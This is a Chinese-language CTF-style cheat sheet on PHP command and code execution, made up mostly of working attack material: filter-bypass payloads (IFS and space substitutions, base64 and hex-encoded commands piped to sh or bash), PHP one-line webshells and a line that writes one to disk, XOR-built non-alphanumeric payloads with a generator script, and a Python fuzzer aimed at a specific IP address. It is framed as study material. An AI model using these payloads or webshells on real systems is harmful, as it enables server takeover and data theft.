优秀的人,不是不合群,而是他们合群的人里面没有你
案例入门
掌握一下linux的find命令:
#在根目录开始,查找含有flag字段的文件地址
find / -name flag*
find / -name *flag
#在当前目录输出文件内容的base64编码
cat flag.txt|base64
下面开始将任意命令执行,题目如下
php代码如下:
<?php echo system('ping -c 4 '.$ip)?>
那么就能完成系统命令执行
对传递输入的值ip进行添加;whoami就实现命令执行~~
测试的时候最好用burpsuite,因为有一些结果可能被注释了!!必须查看网页源码才能看到!!
漏洞危害
- 继承Web服务程序的权限去执行系统命令或读写文件
- 反弹shell
- 控制整个网站甚至控制服务器
- 进一步内网渗透
常见函数
isset()函数:用于检测变量是否已设置并且非 NULL。
highlight_file()函数:对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
show_source()是 highlight_file() 的别名。
eval()函数:用来执行一个字符串表达式,并返回表达式的值。
next() 将内部指针指向数组中的下一个元素
glob() 函数返回匹配指定模式的文件名或目录
array_reverse():将数组逆序排列
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
rev():将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
常用绕过命令
%0a --换行符,需要php环境
%0d --回车符,需要php环境
; --在 shell 中,是”连续指令”
& --不管第一条命令成功与否,都会执行第二条命令
&& --第一条命令成功,第二条才会执行
| --第一条命令的结果,作为第二条命令的输入
|| --第一条命令失败,第二条才会执行
在windows下还可以用
%0a
%1a
&
|
绕过空格
%09(需要php环境)
%20
$IFS$
${IFS}
$IFS
$IFS$9
$IFS$1
<>
<
{ls,-al}
kg=$'\x20flag.php'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
如果过滤空格--->url中输入cat%20flag,或者cat【输入tab】flag,或者{cat,flag}或者输出符号cat<flag
比如下面的
空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php}
cat${IFS}flag.php
cat$IFS$9flag.php
cat$IFS$1flag.php
cat<flag.php
%09替换
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
{cat,flag.php}
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
查看当前目录的所有文件的内容
cat `ls`
cat *
绕过反斜杠
linux里echo ${PATH}可以获得当前路径,所以很显然,我只要取第一个字符那就是/了,
随着这个逻辑可以代替${PATH:0:1}的使用方法也挺多的,比如${PATH:4:1}也代表/
比如${PWD:0:1}、${HOME:0:1}、${SHELL:0:1}等等
骚骚的脚本爆破
然后我们发现替换通配符和空格的就那么几个,我们把他们全都列出来
# coding:utf-8
import requests,re,time
suffixs = [
'%0a',
'%0d',
';',
'&',
'&&',
'|',
'||'
]
#'',
# 替换通配
suffispace = [
'%09',
'%20',
'$IFS$',
'${IFS}',
'$IFS',
'$IFS$9',
'$IFS$1',
'<>',
'<',
# '{ls,-al}',
# "kg=$'\x20flag.php'&&cat$kg",
]
# 替换空格
common = '127.0.0.1;ls -al'
for s in suffixs:
for e in suffispace:
c = common.replace(';',s).replace(' ',e)
with open('rce_fuzz_result.txt','a+')as a:
a.write(c+'\n')
然后写代码fuzz或者手工测试看看哪个能用
写了个大概的样子
# coding:utf-8
import requests
url = 'http://111.33.14.218:22065/?ip='
payloads = [x.strip() for x in open('rce_fuzz_result.txt').readlines()]
for p in payloads:
r = requests.get(url=url+p)
if 'flag' in (r.content.decode()):
print(p)
字母绕过
当存在flag此类字母被过滤时,我们可以用\等来进行过滤,ca’’t、ca\t、ca””t和cat等效的,示例如下
拼接大法 a=l;b=s;$a$b
反斜杠大法 ca\t fla\g
单双引号绕过大法 c'at fl'ag
有时候会顺序过滤flag,所以这么写
b=ag;a=fl;cat $a$b.php
如果过滤cat,可以这么写
a=c;b=at;c=flag.php;$a$b $c
结合一下
b=ag;a=fl;c=ca;d=t;$d$c $a$b.php
base64绕过长这样子
echo cat flag.php|base64 -d|sh对此进行加密
echo Y2F0IGZsYWcucGhw|base64 -d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
hex编码绕过
echo cat flag.php|xxd -r -p|bash 对此进行加密
echo 63617420666c61672e706870 | xxd -r -p|bash
echo$IFS$163617420666c61672e706870$IFS$1|$IFS$1xxd$IFS$1-r$IFS$1-p|bash
unicode编码绕过
cat flag.php对此进行加密
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
进制转换绕过
把flag转成八进制,变成
$'\146\154\141\147'
把这一段 cat /$'\146\154\141\147' 进行url编码一下,安全保险
然后是其他的方法,通配符号绕过
比如 cat f*
cat fla?.php
如果cat被过滤
/bin/ca? fla?.php
举个例子:
cat /f*
cat /f???
cat /[9-q][9-q][9-q][9-q] 正则表达式
读取文件的命令
ls:打印当前目录下所有内容,配合 ls /一起使用
echo:打印输出内容
cat:将文件的内容按正常的顺序打出
tac:将文件进行读取,按逆序打出文件内容
nl:打出文件内容的同时给每行加了行号
more:以一页一页的显示方便使用者逐页阅读
less:类似于more但必more更具有弹性
bzless:一样
head:前几行
tail:后几行
sed p /fla* 试一下这个
sort /fla* 试一下这个
rev /fla*
man /f*
paste /f*
grep { /f*
file -f /f*
dd if=/flag
diff /fla* /etc/passwd
xxd /flag*
vi:编辑器 vim:编辑器
grep:命令用于查找文件里符合条件的字符串
命令执行和代码执行
先总而言之一下:php代码可以直接执行系统命令,完整就是这个样子
<?php system("ls");?>
然后这个命令怎么执行?打开就是上传一个文件,然后访问这个文件。另一种情况就是,用伪协议,php的input和data都可以直接用,唯一区别是input得要post请求,data直接在浏览器请求就行。第三个就是用一句话木马了,上传一句话,这个样子
<?php @eval($_POST[m]);?>
<?php eval($_POST['-7'])?>
如果把post改成get,那么就可以直接在浏览器请求中用~
然后访问网址,前提一句话木马是get请求方法
xxxx.com/?m=system('ls');
xxxx.com/?m=system('cat ../falg');
xxxx.com/?m=system('cat falg.txt');
xxxx.com/?m=phpinfo();
xxxx.com/?m=system('cat /falg');
还可以使用php的命令读取
?a=print_r(scandir('.'));
可以发现一个文件名很长的文件
?a=print_r(glob('*'));
遍历目录 glob()函数用来查找文件
?a=highlight_file('xxx')
可以读取这个文件
?a=show_source('xxx')
这个样子也可以读取这个文件
在php的eval()命令下,比如eval($cmd)
这个cmd可控输入,可以这么写
cmd=system('ls');
cmd=system('cat /flag');
如果system等关键词被过滤比如下面这样,有个骚方法
cmd=(s.ystem)('ls /');
cmd=(s.ystem)('ls');
cmd=(s.y.s.t.em)('cat /flag');
cmd=(p.h.p.i.nfo)();
甚至还可以用hex进行编码
cmd=hex2bin('73797374656d')('cat index.php');
Exec是命令执行,执行系统命令
ls,dir
Eval是代码执行,执行脚本代码,也能执行系统命令比如:
Phpinfo();
上传一句话木马执行payload:
fputs(fopen('shell.php','w'),'<?php @eval($_POST[a]);?>');
访问当前目录下shell.php
举个例子
实例代码如图,也就是执行eval,单纯的执行eval,如果需要输出内容使用echo
echo system('ls');
echo system('ls /');
echo `ls`;
echo `ls /`;
直接读取文件,注意是在根目录下,所以要加上/
如果过滤的很严格,绕过我就不擅长,放两个网上不能通用的小招
没有过滤:! $ ’ ( ) + , . / ; = [ ] _
URL编辑参数:https://xxxx.com/?_=system&__=ls /
POST数据:xxxx=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
没有过滤:0 $ 1 ( ) + , . / ; = [ ] _
POST数据:xxx=$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*
POST数据:XXX=$_=(0/_._)[0];$__=++$_;$=__.++$.$_++;$_++;$_++;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&=ls / 查看根目录发现flag,然后读取即可。
下面是这个小招的原理
异或
什么是异或,我们这里举一个例子,我们将字符A和?进行异或操作
<?php
echo 'A'^'?';
可以发现得到的结果是~,那么它是如何计算的呢,过程如下
首先将A和?分别转换为对应的ASCII码,A变为65,?变为63
然后将其转换为对应的二进制数,A变为1000001,1变为111111
接下来就进行运算,异或的运算规则是相同为0,不同为1
A: 1000001
1: 0111111(少一位,前面补0即可)
结果: 1111110
接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~。
因此,我们利用这种思路,可以借助异或构造payload如下
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
然后我们再取消一下换行符,将它合并于一行之中
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);
最后进行一次URL编码(因为中间件会进行一次解码,所以我们这里需要手动编码一次),即可得最终payload
%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B
我们这里是不是就可以构造一个脚本,通过一次异或运算得到我们想构造的字符串,比如system,那这里的话我们大体思路的话就有了
第一步:寻找未被过滤的字符
第二步:写入我们想构造的字符串,然后对它进行一个遍历,先获取第一个字符
第三步:用刚刚找到的未被过滤的字符进行一个遍历,看哪两个能够通过异或运算构造出第一个字符,同理得到后面的
第四步:输出时将字符进行一个URL编码,因为涉及到了部分不可见字符
代码如下:
import re
import requests
import urllib
from sys import *
import os
a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围
c=chr(i)
#将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i,这些就是未被系统过滤掉的字符
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="dir" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]^a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)
案例
- 空格绕过1
代码:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了$ ,没法用${IFS}绕过空格了,用%09。过滤了通配符*,但是我还有?呀,也可以’’绕过构造payload如下
?c=tac%09fla?????||
?c=tac%09fl''ag.php||
- 空格绕过2
代码如下:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
同上,构造payload如下(用重定向符<不能出现通配符?)
?c=tac<fl''ag.php||
?c=tac<>fl''ag.php||
https://xz.aliyun.com/t/11929?time__1311=Cq0xuD2Dg0i%3DDsD7zAxiIpRQDnWjFW4D#toc-10